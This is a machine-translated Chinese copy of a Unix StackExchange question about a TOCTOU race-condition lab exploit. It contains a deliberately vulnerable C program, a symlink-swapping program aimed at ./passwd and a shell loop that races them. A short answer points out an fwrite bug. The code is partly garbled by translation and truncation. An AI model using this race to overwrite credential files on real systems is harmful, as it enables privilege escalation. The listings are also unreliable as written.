我现在正试图通过使用争用条件错误来利用这个漏洞。然而,出现了一个问题;我从来没有给过这个过程的价值。
下面是对这个案件的描述。
场景:攻击者发现某些程序易受竞争条件的影响。因此,她制作了一个程序,该程序从攻击者可以管理的文件创建一个符号链接到./passwd文件。完成此操作后,她将创建一个shell脚本,该脚本运行易受攻击的程序和她同时创建的程序,直到检测到./passwd文件的修改为止。
易受攻击的代码如下:
易受攻击-Program.c
#include
#include
#include
#define DELAY 50000
int main(int argc, char *argv[]){
char *fileName = argv[1];
char buffer[60];
int i;
FILE *fileHandler;
scanf("%50s", buffer);
if(!access(fileName, W_OK)){
int a;
for(i=0;i使用竞争条件进行攻击的程序如下所示:
符号-link.c.c
#include
#include
#include
int main(int argc, char *argv[]){
unlink(argv[1]);
symlink("./passwd", argv[1]);
return 0;
}下面是外壳脚本:
开发.
old=`ls -l passwd`; new=`ls -l passwd`
while [ "$old" = "$new" ]
do
rm -rf temp
echo "This is a file that the user can overwrite" > temp
echo -e "TOCTOU-Attack-Success" | ./vulnerable-program temp & ./symbolic-link temp & new=`ls -l passwd`
done
rm -rf temp;
echo "STOP... The passwd file has been changed"但是,如果我运行exploit.sh,结果将如下所示:

另外,如果我试图给出一个字符串,它很长,就像在/etc/影子文件中写入的用户信息一样,它一直出现在passwd文件中,被截断。
实际上,在第一次,在易受攻击的-Program.c的其他分支中有一个printf("No Permission \n");代码行。但是,由于同样的问题,字符串"No problem“保持在”TOCTOU-攻击-成功“字符串的前面,并被连续地传递到passwd文件,以使我删除该代码行。
如果你们能帮我.现在我真的不知道该怎么做疑难解答了。
发布于 2022-12-03 10:24:49
fwrite("\n", sizeof(char), strlen(buffer), fileHandler);
从常量字符串"\n“后面的只读数据区域发送一个换行符,再加上一些垃圾,直到输入字符串的长度。
https://unix.stackexchange.com/questions/727175
复制相似问题